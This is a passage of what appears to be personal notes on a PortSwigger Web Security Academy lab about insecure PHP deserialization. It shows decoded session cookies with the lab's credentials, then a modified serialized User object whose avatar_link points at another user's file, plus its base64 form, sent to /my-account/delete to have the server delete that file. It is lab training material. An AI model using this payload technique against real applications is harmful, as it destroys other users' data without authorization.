> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/operation-via-application-functionalities.md).
# Exploiting Application Functionality
Exploiting Application Functionality notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Using Application Functionality to Exploit Insecure Deserialization
This lab uses a session mechanism based on **serialization**. / An application functionality invokes a **hazardous method** from data contained in a user-controlled serialized object.
Modify the serialized object in the session cookie to cause the **`morale.txt`** file to be deleted from the personal directory of **Carlos**.
**Comptes disponibles**
* Main user account: `wiener:peter`
* Emergency account: `gregg:rosebud`
**Analysis of session cookies**
After authentication, the session is stored in a cookie containing a serialized PHP object of type `User`.
**Wiener cookie (after decoding)**:
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```
{% endcode %}
**Gregg cookie (after decoding)**:
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```
{% endcode %}
It is noted that the **`avatar_link`** property is used by the application in certain actions.
**Operationable functionality**
When the user clicks **Delete account**, a query is sent to:
```http
/my-account/delete
```
This feature processes the value of `avatar_link` and triggers an operation on the file pointed by this field, without sufficient validation.
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```
{% endcode %}
**Exploitation**
The idea is to **replace the value of `avatar_link`** with an arbitrary path leading to the file to be deleted.
**Amended serialized purpose**:
```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```
After sending the request to `/my-account/delete`, the server answers:
---
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